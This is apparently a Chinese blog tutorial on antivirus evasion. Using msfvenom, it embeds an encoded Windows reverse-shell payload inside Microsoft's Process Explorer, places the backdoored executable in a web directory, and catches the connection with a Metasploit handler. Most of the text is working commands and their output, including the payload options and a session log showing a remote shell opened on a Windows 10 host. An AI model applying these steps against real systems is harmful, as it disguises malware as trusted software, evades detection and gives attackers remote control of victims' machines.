自定义可执行文件模板

通常情况下,但我们运msfvenom命令时,攻击载荷被嵌入到可执行文件模板中,默认文件位于/data/templates/template.exe.虽然这个模板会时常更新,但它永远是杀毒软件厂商在创建病毒库时的重点关注对象。实际上,当前版本的msfvenom支持使用-x选项使用任意的Windows可执行程序来代替默认模板文件。因此,我们可以重新对攻击载荷进行编码,并将微软sysinternals套件中的Process Explorer程序作为自定义的可执行程序模板。代码清单如所示。

使用Sysinternals套件中的Process Explorer程序作为自定义模板

[email protected]:/home/download# wget http://download.sysinternals.com/files/ProcessExplorer.zip

--2018-04-29 16:23:03--  http://download.sysinternals.com/files/ProcessExplorer.zip①

正在解析主机 download.sysinternals.com (download.sysinternals.com)... 117.18.232.200, 2606:2800:147:120f:30c:1ba0:fc6:265a

正在连接 download.sysinternals.com (download.sysinternals.com)|117.18.232.200|:80...已连接。

已发出 HTTP 请求,正在等待回应... 200 OK

长度:1931969 (1.8M) [application/x-zip-compressed]

正在保存至: “ProcessExplorer.zip”

ProcessExplorer.zip 100%[==================>]   1.84M  85.3KB/s    in 16s     

2018-04-29 16:23:19 (119 KB/s) - 已保存 “ProcessExplorer.zip” [1931969/1931969])

注:Process Explorer程序下载完需要解压,可以选择手动解压。

[email protected]:/home/download# msfvenom -p windows/shell_reverse_tcp lhost=10.10.10.128 lport=8080 -e x86/shikata_ga_nai -x work/ProcessExplorer/procexp.exe -i 5 -f exe -o /var/www/pe_backdoor.exe

No platform was selected, choosing Msf::Module::Platform::Windows from the payload

No Arch selected, selecting Arch: x86 from the payload

Found 1 compatible encoders

Attempting to encode payload with 5 iterations of x86/shikata_ga_nai

x86/shikata_ga_nai succeeded with size 351 (iteration=0)

x86/shikata_ga_nai succeeded with size 378 (iteration=1)

x86/shikata_ga_nai succeeded with size 405 (iteration=2)

x86/shikata_ga_nai succeeded with size 432 (iteration=3)

x86/shikata_ga_nai succeeded with size 459 (iteration=4)

x86/shikata_ga_nai chosen with final size 459

Payload size: 459 bytes

Final size of exe file: 2724512 bytes

Saved as: /var/www/pe_backdoor.exe

正如我们所看到的的,先从Microsoft网站下载了Process Explorer软件①,然后将其压缩包解压。我们使用-x标志指定下载的Process Explorer二进制文件用作我们的自定义模板②。编码完成后,我们通过msfcli启动multi/handler模块对入站的连接进行监听,代码清单如下。

对入站的连接进行监听

msf > use multi/handler

msf exploit(handler) > set payload windows/shell/reverse_tcp

payload => windows/shell/reverse_tcp

msf exploit(handler) > set lhost 10.10.10.128

lhost => 10.10.10.128

msf exploit(handler) > set lport 8080

lport => 8080

msf exploit(handler) > exploit

[*] Started reverse TCP handler on 10.10.10.128:8080

[*] Starting the payload handler...

[*] Encoded stage with x86/shikata_ga_nai

[*] Sending encoded stage (267 bytes) to 10.10.10.1

[*] Command shell session 1 opened (10.10.10.128:8080 -> 10.10.10.1:8552) at 2018-04-29 16:59:43 +0800

Microsoft Windows [Version 10.0.14393]

(c) 2016 Microsoft Corporation.All rights reserved.

C:\Users\Brucezhou1\Desktop>More? Ipconfig

这时我们成功地打开了一个远程的shell,而且没有被杀毒软件发现,

免杀处理---自定义可执行文件模板免杀处理---自定义可执行文件模板免杀处理---自定义可执行文件模板

相关文章:

  • 2021-08-11
  • 2021-11-11
  • 2021-06-13
  • 2021-09-10
  • 2021-04-30
  • 2021-05-07
  • 2021-08-01
猜你喜欢
  • 2021-12-22
  • 2021-05-15
  • 2021-10-15
  • 2022-12-23
  • 2021-09-09
  • 2022-12-23
  • 2021-11-19
相关资源
相似解决方案